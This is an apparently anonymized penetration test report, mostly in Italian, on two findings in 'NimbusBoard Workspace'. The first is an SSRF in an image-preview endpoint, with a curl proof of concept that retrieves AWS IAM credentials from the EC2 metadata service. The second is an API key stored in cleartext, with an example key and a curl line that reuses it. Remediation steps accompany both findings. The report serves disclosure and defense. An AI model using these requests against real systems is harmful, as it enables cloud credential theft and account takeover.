

---

PENETRATION TESTING REPORT · ANONYMIZED

# NimbusBoard Workspace

## · Pentest Findings

Standalone confirmed vulnerabilities

|                |                                  |
|----------------|----------------------------------|
| ENGAGEMENT     | 2026-Q1-NimbusBoard-Web          |
| AUTHOR         | Lorenzo De Falco                 |
| DATE           | 2026-02-19                       |
| CLASSIFICATION | CONFIDENTIAL · INTERNAL RESEARCH |

# NIMB-FIND-2026-001 — Server-Side Request Forgery in image preview

Standalone finding report — NimbusBoard Workspace v4.7.0203

| Field            | Value                                                     |
|------------------|-----------------------------------------------------------|
| Target           | nimbusboard.example.org · web admin panel                 |
| Severity         | HIGH — CVSS 8.6                                           |
| CWE              | CWE-918 — Server-Side Request Forgery (SSRF)              |
| Test period      | 12 February 2026                                          |
| Document version | v1.0 — 19 February 2026                                   |
| Classification   | CONFIDENTIAL — INTERNAL RESEARCH                          |
| Engagement       | 2026-Q1-NimbusBoard-Web                                   |
| Author           | Lorenzo De Falco — lorenzo.defalco@nimbuscomm.example.org |

## Confirmed findings

| Severity | Count |
|----------|-------|
| HIGH     | 1     |
| LOW      | 1     |

## Confidentiality notice

Questo documento è prodotto da NimbusComm Security Ltd. nell'ambito dell'ingaggio 2026-Q1-NimbusBoard-Web e contiene la descrizione di vulnerabilità non ancora rimediate. La distribuzione è ristretta al team di sicurezza interno e ai partner sotto NDA. È vietata la diffusione al di fuori dei perimetri stabiliti senza autorizzazione scritta.

## Vulnerability details

### Description

Lo `image-preview` endpoint accetta un parametro `?source=` che il backend risolve via libreria HTTP senza validare lo schema o l'host di destinazione. Abbiamo confermato la SSRF puntando il parametro alla metadata API interna IMDS di EC2; il backend ha ritornato il body del documento `iam/security-credentials/role-nimbusboard-web`, divulgando una sessione AWS temporanea.

### Affected endpoints

```
GET https://admin.nimbusboard.example.org/v2/preview/image?source=<url>
GET https://admin.nimbusboard.example.org/v2/preview/audit
```

L'header proprietario `X-Board-Tenant` è obbligatorio:

```
X-Board-Tenant: tenant-29f1ab4c-bcd2-44a2-9e21-6a73b1d49882
User-Agent: NimbusBoardWeb/4.7.0203 Chrome/124.0.0.0
```

### Reproduction

1. Autentica come utente `auditor` (qualsiasi tenant).
2. Invia la richiesta seguente con `mitmproxy` o `curl`:

```
GET /v2/preview/image?source=http://169.254.169.254/latest/meta-data/iam/
security-credentials/role-nimbusboard-web HTTP/1.1
Host: admin.nimbusboard.example.org
X-Board-Tenant: tenant-29f1ab4c-bcd2-44a2-9e21-6a73b1d49882
Authorization: Bearer board.eyJraWQ0iJ0Q0i0x0TcyIn0.<truncated>
```

3. La risposta HTTP 200 ritorna il body della metadata, includendo `AccessKeyId`, `SecretAccessKey` e `Token` con TTL di 1h.

### Proof of concept (curl)

```
curl -G "https://admin.nimbusboard.example.org/v2/preview/image" \
  --data-urlencode "source=http://169.254.169.254/latest/meta-data/iam/security-
credentials/role-nimbusboard-web" \
  -H "X-Board-Tenant: tenant-29f1ab4c-bcd2-44a2-9e21-6a73b1d49882" \
  -H "Authorization: Bearer
board.eyJraWQ0iJ0Q0i0x0TcyIn0.UTwdDdM40y4vqfVZzJ8wRDkrV2bXxCq7"
```

### Affected hosts

| Host                          | IP            | Role                |
|-------------------------------|---------------|---------------------|
| admin.nimbusboard.example.org | 192.0.2.18    | Admin web app       |
| api.nimbusboard.example.org   | 198.51.100.42 | REST API gateway    |
| imds.nimbusboard.example.org  | 203.0.113.7   | Internal IMDS proxy |

### Impact

Una sessione AWS sul ruolo `role-nimbusboard-web` permette letture arbitrarie dello stato S3 (`s3://nimbusboard-uploads-prod-eu-1`) e DynamoDB (`nimbusboard-tenant-metadata`). Le credenziali coprono 1.412 tenant attivi al momento del test.

### Remediation

- Filtrare server-side gli `source` URL: solo `https://` verso domini in allow-list (`*.nimbusboard.example.org`, `*.cdn.nimbusboard.example.org`).
- Bloccare a livello di metadata service la metadata API IMDS v1; richiedere IMDSv2 con hop-limit 1.
- Rotare immediatamente le credenziali del ruolo `role-nimbusboard-web` e ruotare ogni STS token emesso dopo il 10 febbraio 2026.

## NIMB-FIND-2026-002 — API key in clear text on disk

Standalone finding report — NimbusBoard Workspace v4.7.0203

| Field            | Value                                                                                  |
|------------------|----------------------------------------------------------------------------------------|
| Target           | NimbusBoard Desktop client v4.7.0203 (Windows)                                         |
| Severity         | LOW — CVSS 3.7                                                                         |
| CWE              | CWE-312 — Cleartext Storage of Sensitive Information                                   |
| Test period      | 14 February 2026                                                                       |
| Document version | NimbusComm Security Ltd. — CONFIDENTIAL — INTERNAL RESEARCH<br>v1.0 — 19 February 2026 |

## Description

Il client desktop salva la API key dell'utente in `%APPDATA%\NimbusBoard\session.json` come stringa in chiaro. Qualsiasi utente locale o malware con accesso al profilo può estrarre la chiave e impersonare l'utente sull'API gateway finché la chiave non viene revocata manualmente.

## Reproduction

1. Esegui un login completo nel client desktop su una macchina di test.
2. Apri il file `%APPDATA%\NimbusBoard\session.json` in un editor.
3. Estrai il campo `apiKey`. Esempio rilevato:

```
apiKey: "nb_live_u4Yk9xTQpAbhGZmf2cP3qH8sLnRdWvJoEi6"
userId: "NB-USR-7741390"
tenantId: "tenant-29f1ab4c-bcd2-44a2-9e21-6a73b1d49882"
```

4. Riusa la chiave da una macchina differente:

```
curl https://api.nimbusboard.example.org/v2/profile/me \
-H "Authorization: ApiKey nb_live_u4Yk9xTQpAbhGZmf2cP3qH8sLnRdWvJoEi6"
```

5. La risposta ritorna i dati dell'utente `lorenzo.defalco@nimbuscomm.example.org`, telefono di test `+1 555 0173 4290`.

## Remediation

- Cifrare `session.json` con la DPAPI di Windows (o Keychain su macOS, libsecret su Linux).
- Rotare la API key al primo login e marcare quella in chiaro come compromessa.

## Test environment

| Item                 | Value                                                           |
|----------------------|-----------------------------------------------------------------|
| Engagement code      | 2026-Q1-NimbusBoard-Web                                         |
| Web tested build     | NimbusBoard Workspace v4.7.0203 (commit <code>f5d41c2a</code> ) |
| Desktop tested build | NimbusBoard Desktop v4.7.0203 (Windows MSI build 88)            |
| Backend cluster      | <code>prod-eu-1.nimbusboard.example.org</code>                  |

NimbusComm Security Ltd. · CONFIDENTIAL — INTERNAL RESEARCH

| Item               | Value                                           |
|--------------------|-------------------------------------------------|
| Tester workstation | Linux Mint 22, Firefox 134, mitmproxy 11.0.0    |
| Engagement window  | 12 — 19 February 2026                           |
| Internal contacts  | Carla Maggiore (PM), Riccardo Senesi (Sec lead) |

## Glossary

- **SSRF** — Server-Side Request Forgery.
- **IMDS** — Instance Metadata Service (EC2 / cloud).
- **DPAPI** — Data Protection API (Windows credential store).
- **STS** — Security Token Service (AWS short-lived credentials).